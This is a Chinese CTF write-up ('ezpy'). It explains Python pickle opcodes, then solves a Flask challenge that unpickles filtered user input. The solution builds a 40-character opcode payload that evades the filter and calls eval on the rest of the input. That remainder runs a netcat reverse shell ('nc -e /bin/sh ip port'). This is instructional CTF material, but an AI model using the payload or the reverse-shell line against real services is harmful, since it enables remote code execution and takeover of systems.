ezpy
前置知识:如何手搓PVM中的opcode
利用下表中的操作符进行一系列的压栈弹栈操作:
指令 | 描述 | 具体写法 | 栈上的变化 |
---|---|---|---|
c | 获取一个全局对象或import一个模块 | c[module]\n[instance]\n | 获得的对象入栈 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
N | 实例化一个None | N | 获得的对象入栈 |
S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、\'等python字符串形式) | 获得的对象入栈 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 |
p | 将栈顶对象储存至memo_n | pn\n | 无 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 |
相关概念网上都有,直接分析个例子
这是一个修改全局变量的demo,修改了对象s的name属性:
import pickle
class Secret:
def __init__(self, name):
self.name = name
s=Secret("S1nKk")
opcode=b"""c__main__\ns\n(S'name'\nS'Funny_M0nk3y'\ndb."""
pickle.loads(opcode)
print(s.name)
分析PVM栈空间:
首先
用操作符'c',从__main__模块中取出名为s的对象,即Secret类的对象,将此对象压栈c__main__\ns\n
栈结构:[s对象]
然后
用操作符'(',压入一个MARK(
栈结构:[s对象,MARK]
然后
用操作符'S'实例化一个字符串对象'name',压栈S'name'\n
栈结构:[s对象,MARK,"name"]
同理,压入字符串对象'Funny_M0nk3y'S'Funny_M0nk3y'\n
栈结构:[s对象,MARK,"name","Funny_M0nk3y"]
然后
使用操作符'd',找到MARK上面的两个对象,即"name","Funny_M0nk3y",将MARK和它们两个弹出栈,并构造键值对{"name":"Funny_M0nk3y"},将此对象压栈d
栈结构:[s对象,{"name":"Funny_M0nk3y"}]
然后
使用操作符'b',使用栈顶的键值对,对栈的第二个对象进行赋值,即将s对象的name属性设为"Funny_M0nk3y",同时{"name":"Funny_M0nk3y"}出栈b
这样就完成了一次变量的修改。
题解
源码:
import pickle
from flask import Flask, request
app = Flask(__name__)
def safe(s):
list1 = ["proc", "os", "sys", "open", "\\", "'", '"']
for i in list1:
if i in s.lower():
print("not safe:",i)
return False
return True
@app.post("/")
def loads():
c = request.form.get("code")
if safe(c[:40]):
try:
pickle.loads(c[:40].encode())
except:
pass
if len(c) < 40:
pickle.loads(c.encode())
return "ok"
return "no!"
if __name__ == "__main__":
app.run("0.0.0.0", port=8080)
主要逻辑就是 对传入的c的前40个字符进行简单过滤,然后loads前40个字符。
由于这里用了encode(),要求给的c都是可见字符,并且对长度有要求,因此不能用脚本去生成序列化数据,只能手搓Opcode
payload:
c='(Veval(c[40::] )\nibuiltins\neval\n.__import__("os").system("nc -e /bin/sh ip port")'
首先(压入一个MARK,再使用V压入字符串"eval(c[40::] )"
这里不能用S去压栈字符串,因为过滤了引号
然后用i引入builtins模块的eval函数对象,并用MARK之后的"eval(c[40::] )"构造元组,作为参数来执行eval
最后.结束opcode,通过控制eval括号里的空格数量,让有效opcode的长度正好为40
那么,执行的函数就是eval("eval(c[40::] )")
而已经赋值的c变量在第40个字符之后的内容,就是执行反弹shell命令的python语句"__import__("os").system("nc -e /bin/sh ip port")"
由于过滤了\,payload中的换行符直接用%0A就可以。
成功反弹shell
Comments NOTHING